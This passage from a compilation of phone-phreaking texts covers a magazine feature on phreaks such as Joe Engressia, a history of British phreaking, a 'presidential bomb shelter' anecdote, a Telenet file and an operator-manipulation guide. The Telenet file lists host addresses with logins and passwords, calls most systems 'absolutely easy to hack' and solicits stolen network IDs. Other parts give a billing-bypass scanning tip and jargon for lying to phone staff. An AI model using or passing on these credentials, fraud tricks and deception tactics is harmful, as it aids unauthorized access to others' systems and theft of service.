numbers that followed were toll-free loop-around pairs. When one of the curious called one of the numbers he would hear a tape +recording pre-hooked into the loop by Bernay which explained the use of loop-around pairs, gave the numbers of several more, and ended by +telling the caller, "At six o'clock tonight this recording will stop and you and your friends can try it out. Have fun." +"I was disappointed by the response at first," Bernay told me, when I finally reached him at one of his many numbers and he had dispensed +with the usual "I never do anything illegal" formalities which experienced phone phreaks open most conversations. +"I went all over the coast with these stickers not only on pay phones, but I'd throw them in front of high schools in the middle of the night, I'd +leave them unobtrusively in candy stores, scatter them on main streets of small towns. At first hardly anyone bothered to try it out. I would +listen in for hours and hours after six o'clock and no one came on. I couldn't figure out why people wouldn't be interested. Finally these two +girls in Oregon tried it out and told all their friends and suddenly it began to spread." +Before his Johny Appleseed trip Bernay had already gathered a sizable group of early pre-blue-box phone phreaks together on loop-arounds +in Los Angeles. Bernay does not claim credit for the original discovery of the loop-around numbers. He attributes the discovery to an eighteenyear- +old reform school kid in Long Beach whose name he forgets and who, he says, "just disappeared one day." When Bernay himself +discovered loop-arounds independently, from clues in his readings in old issues of the Automatic Electric Technical Journal, he found dozens +of the reform-school kid's friends already using them. However, it was one of Bernay's disciples in Seattle that introduced phone phreaking to +blind kids. The Seattle kid who learned about loops through Bernay's recording told a blind friend, the blind kid taught the secret to his friends at +a winter camp for blind kids in Los Angeles. When the camp session was over these kids took the secret back to towns all over the West. This +is how the original blind kids became phone phreaks. For them, for most phone phreaks in general, it was the discovery of the possibilities of +loop-arounds which led them on to far more serious and sophisticated phone-phreak methods, and which gave them a medium for sharing their +discoveries. +A year later a blind kid who moved back east brought the technique to a blind kids' summer camp in Vermont, which spread it along the East +Coast. All from a Mark Bernay sticker. +Bernay, who is nearly thirty years old now, got his start when he was fifteen and his family moved into an L.A. suburb serviced by General +Telephone and Electronics equipment. He became fascinated with the differences between Bell and G.T.&E. equipment. He learned he could +make interesting things happen by carefully timed clicks with the disengage button. He learned to interpret subtle differences in the array of +clicks, whirrs and kachinks he could hear on his lines. He learned he could shift himself around the switching relays of the L.A. area code in a +not-too-predictable fashion by interspersing his own hook-switch clicks with the clicks within the line. (Independent phone companies -- there +are nineteen hundred of them still left, most of them tiny island principalities in Ma Bell's vast empire -- have always been favorites with phone +phreaks, first as learning tools, then as Archimedes platforms from which to manipulate the huge Bell system. A phone phreak in Bell territory +will often M-F himself into an independent's switching system, with switching idiosyncrasies which can give him marvelous leverage over the +Bell System. +"I have a real affection for Automatic Electric Equipment," Bernay told me. "There are a lot of things you can play with. Things break down in +interesting ways." +Shortly after Bernay graduated from college (with a double major in chemistry and philosophy), he graduated from phreaking around with +G.T.&E. to the Bell System itself, and made his legendary sticker-pasting journey north along the coast, settling finally in Northwest Pacific Bell +territory. He discovered that if Bell does not break down as interestingly as G.T.&E., it nevertheless offers a lot of "things to play with." +Bernay learned to play with blue boxes. He established his own personal switchboard and phone-phreak research laboratory complex. He +continued his phone-phreak evangelism with ongoing sticker campaigns. He set up two recording numbers, one with instructions for beginning +phone phreaks, the other with latest news and technical developments (along with some advanced instruction) gathered from sources all over +the country. +These days, Bernay told me, he had gone beyond phone-phreaking itself. "Lately I've been enjoying playing with computers more than playing +with phones. My personal thing in computers is just like with phones, I guess -- the kick is in finding out how to beat the system, how to get at +things I'm not supposed to know about, how to do things with the system that I'm not supposed to be able to do." +As a matter of fact, Bernay told me, he had just been fired from his computer-programming job for doing things he was not supposed to be able +to do. He had been working with a huge time-sharing computer owned by a large corporation but shared by many others. Access to the +computer was limited to those programmers and corporations that had been assigned certain passwords. And each password restricted its +user to access to only the one section of the computer cordoned off from its own information storager. The password system prevented +companies and individuals from stealing each other's information. +"I figured out how to write a program that would let me read everyone else's password," Bernay reports. "I began playing around with +passwords. I began letting the people who used the computer know, in subtle ways, that I knew their passwords. I began dropping notes to +the computer supervisors with hints that I knew what I know. I signed them 'The Midnight Skulker.' I kept getting cleverer and cleverer with my +messages and devising ways of showing them what I could do. I'm sure they couldn't imagine I could do the things I was showing them. But +they never responded to me. Every once in a while they'd change the passwords, but I found out how to discover what the new ones were, +and I let them know. But they never responded directly to the Midnight Skulker. I even finally designed a program which they could use to +prevent my program from finding out what it did. In effect I told them how to wipe me out, The Midnight Skulker. It was a very clever program. I +started leaving clues about myself. I wanted them to try and use it and then try to come up with something to get around that and reappear +again. But they wouldn't play. I wanted to get caught. I mean I didn't want to get caught personally, but I wanted them to notice me and admit +that they noticed me. I wanted them to attempt to respond, maybe in some interesting way." Finally the computer managers became concerned +enough about the threat of information-stealing to respond. However, instead of using The Midnight Skulker's own elegant self -destruct +program, they called in their security personnel, interrogated everyone, found an informer to identify Bernay as The Midnight Skulker, and fired +him. +"At first the security people advised the company to hire me full-time to search out other flaws and discover other computer freaks. I might +have liked that. But I probably would have turned into a double double agent rather than the double agent they wanted. I might have resurrected +The Midnight Skulker and tried to catch myself. Who knows? Anyway, the higher-ups turned the whole idea down." +You Can Tap the F.B.I.'s Crime Control Computer in the Comfort of Your Own Home, Perhaps. +Computer freaking may be the wave of the future. It suits the phone-phreak sensibility perfectly. Gilbertson, the blue-box inventor and a lifelong +phone phreak, has also gone on from phone-phreaking to computer-freaking. Before he got into the blue-box business Gilbertson, who is a +highly skilled programmer, devised programs for international currency arbitrage. +But he began playing with computers in earnest when he learned he could use his blue box in tandem with the computer terminal installed in his +apartment by the instrumentation firm he worked for. The print-out terminal and keyboard was equipped with acoustical coupling, so that by +coupling his little ivory Princess phone to the terminal and then coupling his blue box on that, he could M-F his way into other computers with +complete anonymity, and without charge; program and re-program them at will; feed them false or misleading information; tap and steal from +them. He explained to me that he taps computers by busying out all the lines, then going into a verification trunk, listening into the passwords +and instructions one of the time sharers uses, and them M-F-ing in and imitating them. He believes it would not be impossible to creep into the +F.B.I's crime control computer through a local police computer terminal and phreak around with the F.B.I.'s memory banks. He claims he has +succeeded in re-programming a certain huge institutional computer in such a way that it has cordoned off an entire section of its circuitry for +his personal use, and at the same time conceals that arrangement from anyone else's notice. I have been unable to verify this claim. +Like Captain Crunch, like Alexander Graham Bell (pseudonym of a disgruntled-looking East Coast engineer who claims to have invented the +black box and now sells black and blue boxes to gamblers and radical heavies), like most phone phreaks, Gilbertson began his career trying to +rip off pay phones as a teenager. Figure them out, then rip them off. Getting his dime back from the pay phone is the phone phreak's first +thrilling rite of passage. After learning the usual eighteen different ways of getting his dime back, Gilbertson learned how to make master keys +to coin-phone cash boxes, and get everyone else's dimes back. He stole some phone-company equipment and put together his own home +switchboard with it. He learned to make a simple "bread-box" device, of the kind used by bookies in the Thirties (bookie gives a number to his +betting clients; the phone with that number is installed in some widow lady's apartment, but is rigged to ring in the bookie's shop across town, +cops trace big betting number and find nothing but the widow). +Not long after that afternoon in 1968 when, deep in the stacks of an engineering library, he came across a technical journal with the phone +tone frequencies and rushed off to make his first blue box, not long after that Gilbertson abandoned a very promising career in physical +chemistry and began selling blue boxes for $1,500 apiece. +"I had to leave physical chemistry. I just ran out of interesting things to learn," he told me one evening. We had been talking in the apartment of +the man who served as the link between Gilbertson and the syndicate in arranging the big $300,000 blue-box deal which fell through because +of legal trouble. There has been some smoking. +"No more interesting things to learn," he continues. "Physical chemistry turns out to be a sick subject when you take it to its highest level. I don't +know. I don't think I could explain to you how it's sick. You have to be there. But you get, I don't know, a false feeling of omnipotence. I suppose +it's like phone-phreaking that way. This huge thing is there. This whole system. And there are holes in it and you slip into them like Alice and +you're pretending you're doing something you're actually not, or at least it's no longer you that's doing what you thought you were doing. It's all +Lewis Carroll. Physical chemistry and phone-phreaking. That's why you have these phone-phreak pseudonyms like The Cheshire Cat, the Red +King, and The Snark. But there's something about phone-phreaking that you don't find in physical chemistry." He looks up at me: +"Did you ever steal anything?" +"Well yes, I..." +"Then you know! You know the rush you get. It's not just knowledge, like physical chemistry. It's forbidden knowledge. You know. You can +learn about anything under the sun and be bored to death with it. But the idea that it's illegal. Look: you can be small and mobile and smart and +you're ripping off somebody large and powerful and very dangerous." +People like Gilbertson and Alexander Graham Bell are always talking about ripping off the phone company and screwing Ma Bell. But if they +were shown a single button and told that by pushing it they could turn the entire circuitry of A.T.&T. into molten puddles, they probably wouldn't +push it. The disgruntled-inventor phone phreak needs the phone system the way the lapsed Catholic needs the Church, the way Satan needs +a God, the way The Midnight Skulker needed, more than anything else, response. +Later that evening Gilbertson finished telling me how delighted he was at the flood of blue boxes spreading throughout the country, how +delighted he was to know that "this time they're really screwed." He suddenly shifted gears. +"Of course. I do have this love/hate thing about Ma Bell. In a way I almost like the phone company. I guess I'd be very sad if they were to +disintegrate. In a way it's just that after having been so good they turn out to have these things wrong with them. It's those flaws that allow me +to get in and mess with them, but I don't know. There's something about it that gets to you and makes you want to get to it, you know." +I ask him what happens when he runs out of interesting, forbidden things to learn about the phone system. +"I don't know, maybe I'd go to work for them for a while." +"In security even?" +"I'd do it, sure. I just as soon play -- I'd just as soon work on either side." +"Even figuring out how to trap phone phreaks? I said, recalling Mark Bernay's game." +"Yes, that might be interesting. Yes, I could figure out how to outwit the phone phreaks. Of course if I got too good at it, it might become boring +again. Then I'd have to hope the phone phreaks got much better and outsmarted me for a while. That would move the quality of the game up +one level. I might even have to help them out, you know, 'Well, kids, I wouldn't want this to get around but did you ever think of -- ?' I could keep +it going at higher and higher levels forever." +The dealer speaks up for the first time. He has been staring at the soft blinking patterns of light and colors on the translucent tiled wall facing +him. (Actually there are no patterns: the color and illumination of every tile is determined by a computerized random-number generator designed +by Gilbertson which insures that there can be no meaning to any sequence of events in the tiles.) +"Those are nice games you're talking about," says the dealer to his friend. "But I wouldn't mind seeing them screwed. A telephone isn't private +anymore. You can't say anything you really want to say on a telephone or you have to go through that paranoid bullshit. 'Is it cool to talk on the +phone?' I mean, even if it is cool, if you have to ask 'Is it cool,' then it isn't cool. You know. 'Is it cool,' then it isn't cool. You know. Like those +blind kids, people are going to start putting together their own private telephone companies if they want to really talk. And you know what else. +You don't hear silences on the phone anymore. They've got this time-sharing thing on long-distance lines where you make a pause and they +snip out that piece of time and use it to carry part of somebody else's conversation.Instead of a pause, where somebody's maybe breathing or +sighing, you get this blank hole and you only start hearing again when someone says a word and even the beginning of the word is clipped +off. Silences don't count -- you're paying for them, but they take them away from you. It's not cool to talk and you can't hear someone when +they don't talk. What the hell good is the phone? I wouldn't mind seeing them totally screwed." +The Big Memphis Bust +Joe Engressia never wanted to screw Ma Bell. His dream had always been to work for her. +The day I visited Joe in his small apartment on Union Avenue in Memphis, he w as upset about another setback in his application for a telephone +job. +"They're stalling on it. I got a letter today telling me they'd have to postpone the interview I requested again. My landlord read it for me. They +gave me some runaround about wanting papers on my rehabilitation status but I think there's something else going on." +When I switched on the 40-watt bulb in Joe's room -- he sometimes forgets when he has guests -- it looked as if there was enough telephone +hardware to start a small phone company of his own. +There is one phone on top of his desk, one phone sitting in an open drawer beneath the desk top. Next to the desk-top phone is a cigar-boxsize +M-F device with big toggle switches, and next to that is some kind of switching and coupling device with jacks and alligator plugs hanging +loose. Next to that is a Braille typewriter. On the floor next to the desk, lying upside down like a dead tortoise, is the half-gutted body of an old +black standard phone. Across the room on a torn and dusty couch are two more phones, one of them a touch-tone model; two tape recorders; +a heap of phone patches and cassettes, and a life-size toy telephone. +Our conversation is interrupted every ten minutes by phone phreaks from all over the country ringing Joe on just about every piece of +equipment but the toy phone and the Braille typewriter. One fourteen-year-old blind kid from Connecticut calls up and tells Joe he's got a girl +friend. He wants to talk to Joe about girl friends. Joe says they'll talk later in the evening when they can be alone on the line. Joe draws a deep +breath, whistles him off the air with an earsplitting 2600-cycle whistle. Joe is pleased to get the calls but he looked worried and preoccupied +that evening, his brow constantly furrowed over his dark wandering eyes. In addition to the phone-company stall, he has just learned that his +apartment house is due to be demolished in sixty days for urban renewal. For all its shabbiness, the Union Avenue apartment house has been +Joe's first home-of-his-ow n and he's worried that he may not find another before this one is demolished. +But what really bothers Joe is that switchmen haven't been listening to him. "I've been doing some checking on 800 numbers lately, and I've +discovered that certain 800 numbers in New Hampshire couldn't be reached from Missouri and Kansas. Now it may sound like a small thing, but +I don't like to see sloppy work; it makes me feel bad about the lines. So I've been calling up switching offices and reporting it, but they haven't +corrected it. I called them up for the third time today and instead of checking they just got mad. Well, that gets me mad. I mean, I do try to help +them. There's something about them I can't understand -- you want to help them and they just try to say you're defrauding them." +It is Sunday evening and Joe invites me to join him for dinner at a Holiday Inn. Frequently on Sunday evening Joe takes some of his welfare +money, calls a cab, and treats himself to a steak dinner at one of Memphis' thirteen Holiday Inns. (Memphis is the headquarters of Holiday Inn. +Holiday Inns have been a favorite for Joe ever since he made his first solo phone trip to a Bell switching office in Jacksonville, Florida, and +stayed in the Holiday Inn there. He likes to stay at Holiday Inns, he explains, because they represent freedom to him and because the rooms are +arranged the same all over the country so he knows that any Holiday Inn room is familiar territory to him. Just like any telephone.) +Over steaks in the Pinnacle Restaurant of the Holiday Inn Medical Center on Madison Avenue in Memphis, Joe tells me the highlights of his life +as a phone phreak. +At age seven, Joe learned his first phone trick. A mean baby -sitter, tired of listening to little Joe play with the phone as he always did, +constantly, put a lock on the phone dial. "I got so mad. When there's a phone sitting there and I can't use it... so I started getting mad and +banging the receiver up and down. I noticed I banged it once and it dialed one. Well, then I tried banging it twice...." In a few minutes Joe +learned how to dial by pressing the hook switch at the right time. "I was so excited I remember going 'whoo whoo' and beat a box down on +the floor." +At age eight Joe learned about whistling. "I was listening to some intercept non working-number recording in L.A.- I was calling L.A. as far +back as that, but I'd mainly dial non working numbers because there was no charge, and I'd listen to these recordings all day. Well, I was +whistling 'cause listening to these recordings can be boring after a while even if they are from L.A., and all of a sudden, in the middle of +whistling, the recording clicked off. I fiddled around whistling some more, and the same thing happened. So I called up the switch room and +said, 'I'm Joe. I'm eight years old and I want to know why when I whistle this tune the line clicks off.' He tried to explain it to me, but it was a little +too technical at the time. I went on learning. That was a thing nobody was going to stop me from doing. The phones were my life, and I was +going to pay any price to keep on learning. I knew I could go to jail. But I had to do what I had to do to keep on learning." +The phone is ringing when we walk back into Joe's apartment on Union Avenue. It is Captain Crunch. The Captain has been following me +around by phone, calling up everywhere I go with additional bits of advice and explanation for me and whatever phone phreak I happen to be +visiting. This time the Captain reports he is calling from what he describes as "my hideaway high up in the Sierra Nevada." He pulses out lusty +salvos of M-F and tells Joe he is about to "go out and get a little action tonight. Do some phreaking of another kind, if you know what I mean." +Joe chuckles. +The Captain then tells me to make sure I understand that what he told me about tying up the nation's phone lines was true, but that he and the +phone phreaks he knew never used the technique for sabotage. They only learned the technique to help the phone company. +"We do a lot of troubleshooting for them. Like this New Hampshire/Missouri WATS-line flaw I've been screaming about. We help them more than +they know." +After we say good-bye to the Captain and Joe whistles him off the line, Joe tells me about a disturbing dream he had the night before: "I had +been caught and they were taking me to a prison. It was a long trip. They were taking me to a prison a long long way away. And we stopped +at a Holiday Inn and it was my last night ever using the phone and I was crying and crying, and the lady at the Holiday Inn said, 'Gosh, honey, +you should never be sad at a Holiday Inn. You should always be happy here. Especially since it's your last night.' And that just made it worse +and I was sobbing so much I couldn't stand it." +Two weeks after I left Joe Engressia's apartment, phone-company security agents and Memphis police broke into it. Armed with a warrant, +which they left pinned to a wall, they confiscated every piece of equipment in the room, including his toy telephone. Joe was placed under +arrest and taken to the city jail where he was forced to spend the night since he had no money and knew no one in Memphis to call. +It is not clear who told Joe what that night, but someone told him that the phone company had an open-and-shut case against him because of +revelations of illegal activity he had made to a phone-company undercover agent. +By morning Joe had become convinced that the reporter from Esquire, with whom he had spoken two weeks ago, was the undercover agent. +He probably had ugly thoughts about someone he couldn't see gaining his confidence, listening to him talk about his personal obsessions and +dreams, while planning all the while to lock him up. +"I really thought he was a reporter," Engressia told the Memphis Press-Seminar. "I told him everything...." Feeling betrayed, Joe proceeded to +confess everything to the press and police. +As it turns out, the phone company did use an undercover agent to trap Joe, although it was not the Esquire reporter. +Ironically, security agents were alerted and began to compile a case against Joe because of one of his acts of love for the system: Joe had +called an internal service department to report that he had located a group of defective long-distance trunks, and to complain again about the +New Hampshire/Missouri WATS problem. Joe always liked Ma Bell's lines to be clean and responsive. A suspicious switchman reported Joe to +the security agents who discovered that Joe had never had a long-distance call charged to his name. +Then the security agents learned that Joe was planning one of his phone trips to a local switching office. The security people planted one of +their agents in the switching office. He posed as a student switchman and followed Joe around on a tour. He was extremely friendly and +helpful to Joe, leading him around the office by the arm. When the tour was over he offered Joe a ride back to his apartment house. On the +way he asked Joe -- one tech man to another -- about "those blue boxers" he'd heard about. Joe talked about them freely, talked about his blue +box freely, and about all the other things he could do with the phones. +The next day the phone-company security agents slapped a monitoring tape on Joe's line, which eventually picked up an illegal call. Then they +applied for the search warrant and broke in. +In court Joe pleaded not guilty to possession of a blue box and theft of service. A sympathetic judge reduced the charges to malicious mischief +and found him guilty on that count, sentenced him to two thirty-day sentences to be served concurrently and then suspended the sentence on +condition that Joe promise never to play with phones again. Joe promised, but the phone company refused to restore his service. For two +weeks after the trial Joe could not be reached except through the pay phone at his apartment house, and the landlord screened all calls for +him. +Phone-phreak Carl managed to get through to Joe after the trial, and reported that Joe sounded crushed by the whole affair. +"What I'm worried about," Carl told me, "is that Joe means it this time. The promise. That he'll never phone-phreak again. That's what he told me, +that he's given up phone-phreaking for good. I mean his entire life. He says he knows they're going to be watching him so closely for the rest +of his life he'll never be able to make a move without going straight to jail. He sounded very broken up by the whole experience of being in jail. It +was awful to hear him talk that way. I don't know. I hope maybe he had to sound that way. Over the phone, you know." +He reports that the entire phone-phreak underground is up in arms over the phone company's treatment of Joe. "All the while Joe had his +hopes pinned on his application for a phone-company job, they were stringing him along getting ready to bust him. That gets me mad. Joe spent +most of his time helping them out. The bastards. They think they can use him as an example. All of sudden they're harassing us on the coast. +Agents are jumping up on our lines. They just busted ------'s mute yesterday and ripped out his lines. But no matter what Joe does, I don't think +we're going to take this lying down." +Two weeks later my phone rings and about eight phone phreaks in succession say hello from about eight different places in the country, +among them Carl, Ed, and Captain Crunch. A nationwide phone-phreak conference line has been reestablished through a switching machine in +--------, with the cooperation of a disgruntled switchman. +"We have a special guest with us today," Carl tells me. +The next voice I hear is Joe's. He reports happily that he has just moved to a place called Millington, Tennessee, fifteen miles outside of +Memphis, where he has been hired as a telephone-set repairman by a small independent phone company. Someday he hopes to be an +equipment troubleshooter. +"It's the kind of job I dreamed about. They found out about me from the publicity surrounding the trial. Maybe Ma Bell did me a favor busting me. +I'll have telephones in my hands all day long." +"You know the expression, 'Don't get mad, get even'?" phone-phreak Carl asked me. "Well, I think they're going to be very sorry about what +they did to Joe and what they're trying to do to us." +151.The History of British Phreaking by Lex Luthor +Note: The British post office, is the US equivalent of Ma Bell. In Britain, phreaking goes back to the early fifties, when the technique of 'toll a +drop back' was discovered. Toll a was an exchange near St.Pauls which routed calls between London and nearby non-London exchanges. +The trick was to dial an unallocated number, and then depress the receiver-rest for second. This flashing initiated the 'clear forward' signal, +leaving the caller with an open line into the toll a exchange. They could then dial 018, which forwarded him to the trunk exchange at that time, +the first long distance exchange in Britain and follow it with the code for the distant exchange to which he would be connected at no extra +charge. +The signals needed to control the UK network today were published in the "Institution of Post Office Engineers Journal" and reprinted in the +Sunday times (15 Oct. 1972). +The signaling system they use: Signaling system No.3 uses pairs of frequencies selected from 6 tones separated by 120hz. With that info, the +phreaks made "bleepers" or as they are called here in the US "blue box", but they do utilize different MF tones then the US, thus, your US blue +box that you smuggled into the UK will not work, unless you change the frequencies. +In the early seventies, a simpler system based on different numbers of pulses with the same frequency (2280hz) was used. For more info on +that, try to get a hold of: Atkinson's "Telephony and Systems Technology". +In the early days of British phreaking, the Cambridge university Titan computer was used to record and circulate numbers found by the +exhaustive dialing of local networks. These numbers were used to create a chain of links from local exchange to local exchange across the +country, bypassing the trunk circuits. Because the internal routing codes in the UK network are not the same as those dialed by the caller, the +phreaks had to discover them by 'probe and listen' techniques or more commonly known in the US -- scanning. What they did was put in likely +signals and listened to find out if they succeeded. The results of scanning were circulated to other phreaks. Discovering each other took time +at first, but eventually the phreaks became organized. The "tap" of Britain was called "undercurrents" which enabled British phreaks to share +the info on new numbers, equipment etc. +To understand what the British phreaks did, think of the phone network in three layers of lines: Local, trunk, and international. In the UK, +subscriber trunk dialing (std), is the mechanism which takes a call from the local lines and (legitimately) elevates it to a trunk or international +level. The UK phreaks figured that a call at trunk level can be routed through any number of exchanges, provided that the right routing codes +were found and used correctly. They also had to discover how to get from local to trunk level either without being charged (which they did +with a bleeper box) or without using (std). Chaining has already been mentioned but it requires long strings of digits and speech gets more and +more faint as the chain grows, just like it does when you stack trunks back and forth across the US. The way the security reps snagged the +phreaks was to put a simple 'printermeter' or as we call it: A pen register on the suspects line, which shows every digit dialed from the +subscribers line. +The British prefer to get onto the trunks rather than chaining. One way was to discover where local calls use the trunks between neighboring +exchanges, start a call and stay on the trunk instead of returning to the local level on reaching the distant switch. This again required +exhaustive dialing and made more work for titan; it also revealed 'fiddles', which were inserted by post office engineers. +What fiddling means is that the engineers rewired the exchanges for their own benefit. The equipment is modified to give access to a trunk +without being charged, an operation which is pretty easy in step by step (SxS) electro-mechanical exchanges, which were installed in Britain +even in the 1970's (Note: I know of a back door into the Canadian system on a 4A Co., so if you are on SxS or a 4A, try scanning 3 digit +exchanges, i.e.: dial 999,998,997 etc. And listen for the beep-kerchink, if there are no 3 digit codes which allow direct access to a tandem in +your local exchange and bypasses the AMA so you won't be billed, not have to blast 2600 every time you wish to box a call. +A famous British 'fiddler' revealed in the early 1970's worked by dialing 173. The caller then added the trunk code of 1 and the subscribers +local number. At that time, most engineering test services began with 17X, so the engineers could hide their fiddles in the nest of service +wires. When security reps started searching, the fiddles were concealed by tones signaling: 'Number unobtainable' or 'Equipment engaged' +which switched off after a delay. The necessary relays are small and easily hidden. +There was another side to phreaking in the UK in the sixties. Before STD was widespread, many 'ordinary' people were driven to. +Occasional phreaking from sheer frustration at the inefficient operator controlled trunk system. This came to a head during a strike about 1961 +when operators could not be reached. Nothing complicated was needed. Many operators had been in the habit of repeating the codes as they +dialed the requested numbers so people soon learnt the numbers they called frequently. The only 'trick' was to know which exchanges could +be dialed through to pass on the trunk number. Callers also needed a pretty quiet place to do it, since timing relative to clicks was important. The +most famous trial of British phreaks was called the old Baily trial. Which started on Oct. 3rd, 1973. What the phreaks did was dial a spare +number at a local call rate, but involving a trunk to another exchange then they sent a 'clear forward' to their local exchange, indicating to it that +the call was finished; but the distant exchange doesn't realize because the caller's phone is still off the hook. They now have an open line into +the distant trunk exchange and sent to it a 'seize' signal: '1' which puts him onto its outgoing lines now, if they know the codes, the world is +open to them. All other exchanges trust his local exchange to handle the billing; they just interpret the tones they hear. Meanwhile, the local +exchange collects only for a local call. The investigators discovered the phreaks holding a conference somewhere in England surrounded by +various phone equipment and bleeper boxes, also printouts listing 'secret' post office codes. (They probably got them from trashing?) The +judge said: "Some take to heroin, some take to telephones." for them phone phreaking was not a crime, but a hobby to be shared with phellow +enthusiasts and discussed with the post office openly over dinner and by mail. Their approach and attitude to the worlds largest computer, the +global telephone system, was that of scientists conducting experiments or programmers and engineers testing programs and systems. The +judge appeared to agree, and even asked them for phreaking codes to use from his local exchange!!! +152.Bad as Shit by The Jolly Roger +Recently, a telephone fanatic in the northwest made an interesting discovery. He was exploring the 804 area code (Virginia) and found out +that the 840 exchange did something strange. +In the vast majority of cases, in fact in all of the cases except one, he would get a recording as if the exchange didn't exist. However, if he +dialed 804-840 and four rather predictable numbers, he got a ring! +After one or two rings, somebody picked up. Being experienced at this kind of thing, he could tell that the call didn't "supe", that is, no charges +were being incurred for calling this number. +(Calls that get you to an error message, or a special operator, generally don't supervise.) A female voice, with a hint of a Southern accent +said, "Operator, can I help you?" +"Yes," he said, "What number have I reached?" +"What number did you dial, sir?" +He made up a number that was similar. +"I'm sorry that is not the number you reached." Click. +He was fascinated. What in the world was this? He knew he was going to call back, but before he did, he tried some more experiments. He +tried the 840 exchange in several other area codes. In some, it came up as a valid exchange. In others, exactly the same thing happened -- the +same last four digits, the same Southern belle. Oddly enough, he later noticed, the areas worked in seemed to travel in a beeline from +Washington DC to Pittsburgh, PA. +He called back from a payphone. "Operator, can I help you?" +"Yes, this is the phone company. I'm testing this line and we don't seem to have an identification on your circuit. What office is this, please?" +"What number are you trying to reach?" +"I'm not trying to reach any number. I'm trying to identify this circuit." +"I'm sorry, I can't help you." +"Ma'am, if I don't get an ID on this line, I'll have to disconnect it. We show no record of it here." +"Hold on a moment, sir." +After about a minute, she came back. "Sir, I can have someone speak to you. Would you give me your number, please?" +He had anticipated this and he had the payphone number ready. After he gave it, she said, "Mr. XXX will get right back to you." +"Thanks." He hung up the phone. It rang. INSTANTLY! "Oh my God," he thought, "They weren't asking for my number -- they were confirming it!" +"Hello," he said, trying to sound authoritative. +"This is Mr. XXX. Did you just make an inquiry to my office concerning a phone number?" +"Yes. I need an identi--" +"What you need is advice. Don't ever call that number again. Forget you ever knew it." +At this point our friend got so nervous he just hung up. He expected to hear the phone ring again but it didn't. +Over the next few days he racked his brains trying to figure out what the number was. He knew it was something big -- that was pretty +certain at this point. It was so big that the number was programmed into every central office in the country. He knew this because if he tried to +dial any other number in that exchange, he'd get a local error message from his CO, as if the exchange didn't exist. +It finally came to him. He had an uncle who worked in a federal agency. He had a feeling that this was government related and if it was, his +uncle could probably find out what it was. He asked the next day and his uncle promised to look into the matter. +The next time he saw his uncle, he noticed a big change in his manner. He was trembling. "Where did you get that number?!" he shouted. "Do +you know I almost got fired for asking about it?!? They kept wanting to know where I got it." +Our friend couldn't contain his excitement. "What is it?" he pleaded. "What's the number?!" +"IT'S THE PRESIDENT'S BOMB SHELTER!" +He never called the number after that. He knew that he could probably cause quite a bit of excitement by calling the number and saying +something like, "The weather's not good in Washington. We're coming over for a visit." But our friend was smart. He knew that there were +some things that were better off unsaid and undone. +153.Telenet by The Mad Max +It seems that not many of you know that Telenet is connected to about 80 computer-networks in the world. No, I don't mean 80 nodes, but 80 +networks with thousands of unprotected computers. When you call your local Telenet-gateway, you can only call those computers which +accept reverse-charging-calls. If you want to call computers in foreign countries or computers in USA which do not accept R-calls, you need a +Telenet-ID. Did you ever notice that you can type ID XXXX when being connected to Telenet? You are then asked for the password. If you +have such a NUI (Network-User-ID) you can call nearly every host connected to any computer-network in the world. Here are some examples: +026245400090184 :Is a VAX in Germany (Username: DATEXP and leave mail for CHRIS) +0311050500061 :Is the Los Alamos Integrated computing network (One of the hosts connected to it is the DNA (Defense Nuclear Agency)!!!) +0530197000016 :Is a BBS in New Zealand +024050256 :Is the S-E-Bank in Stockholm, Sweden (Login as GAMES !!!) +02284681140541 :CERN in Geneva in Switzerland (one of the biggest nuclear research centers in the world) Login as GUEST +0234212301161 :A Videotex-standard system. Type OPTEL to get in and use the ID 999_ with the password 9_ +0242211000001 :University of Oslo in Norway (Type LOGIN 17,17 to play the Multi-User-Dungeon !) +0425130000215 :Something like ITT Dialcom, but this one is in Israel ! ID HELP with password HELP works fine with security level 3 +0310600584401 :Is the Washington Post News Service via Tymnet (Yes, Tymnet is connected to Telenet, too !) ID and Password is: PETER +You can read the news of the next day! +The prefixes are as follows: +02624 is Datex-P in Germany +02342 is PSS in England +03110 is Telenet in USA +03106 is Tymnet in USA +02405 is Telepak in Sweden +04251 is Isranet in Israel +02080 is Transpac in France +02284 is Telepac in Switzerland +02724 is Eirpac in Ireland +02704 is Luxpac in Luxembourg +05252 is Telepac in Singapore +04408 is Venus-P in Japan +...and so on... +Some of the countries have more than one packet-switching-network (USA has 11, Canada has 3, etc). +OK. That should be enough for the moment. As you see most of the passwords are very simple. This is because they must not have any fear +of hackers. Only a few German hackers use these networks. Most of the computers are absolutely easy to hack !!! So, try to find out some +Telenet-ID's and leave them here. If you need more numbers, leave e-mail. I'm calling from Germany via the German Datex -P network, which is +similar to Telenet. We have a lot of those NUI's for the German network, but none for a special Tymnet-outdial-computer in USA, which +connects me to any phone number. +Call 026245621040000 and type ID INF300 with password DATACOM to get more Informations on packet-switching-networks! The new +password for the Washington Post is KING !!!! +154.Fucking with the Operator by The Jolly Roger +Ever get an operator who gave you a hard time, and you didn't know what to do? Well if the operator hears you use a little Bell jargon, she +might wise up. Here is a little diagram (excuse the artwork) of the structure of operators +/--------\ /------\ /-----\ +!Operator!-- > ! S.A. ! --->! BOS ! +\--------/ \------/ \-----/ +! +! +V +/-------------\ +! Group Chief ! +\-------------/ +Now most of the operators are not bugged, so they can curse at you, if they do ask INSTANTLY for the "S.A." or the Service Assistant. The +operator does not report to her (95% of them are hers) but they will solve most of your problems. She MUST give you her name as she +connects & all of these calls are bugged. If the SA gives you a rough time get her BOS (Business Office Supervisor) on the line. S/He will +almost always back her girls up, but sometimes the SA will get tarred and feathered. The operator reports to the Group Chief, and S/He will +solve 100% of your problems, but the chances of getting S/He on the line are nill. +If a lineman (the guy who works out on the poles) or an installation man gives you the works ask to speak to the Installation Foreman, that +works wonders. +Here is some other bell jargon, that might come in handy if you are having trouble with the line. Or they can be used to lie your way out of +situations.... +An Erling is a line busy for 1 hour, used mostly in traffic studies A Permanent Signal is that terrible howling you get if you disconnect, but don't +hang up. +Everyone knows what a busy signal is, but some idiots think that is the *Actual* ringing of the phone, when it just is a tone "beeps" when the +phone is ringing, wouldn't bet on this though, it can (and does) get out of sync. +When you get a busy signal that is 2 times as fast as the normal one, the person you are trying to reach isn't really on the phone, (he might be), +it is actually the signal that a trunk line somewhere is busy and they haven't or can't reroute your call. Sometimes you will get a Recording, or if +you get nothing at all (Left High & Dry in fone terms) all the recordings are being used and the system is really overused, will probably go down +in a little while. This happened when Kennedy was shot, the system just couldn't handle the calls. By the way this is called the "reorder signal" +and the trunk line is "blocked". +One more thing, if an overseas call isn't completed and doesn't generate any money for AT&T, is called an "Air & Water Call". +155.Phrack 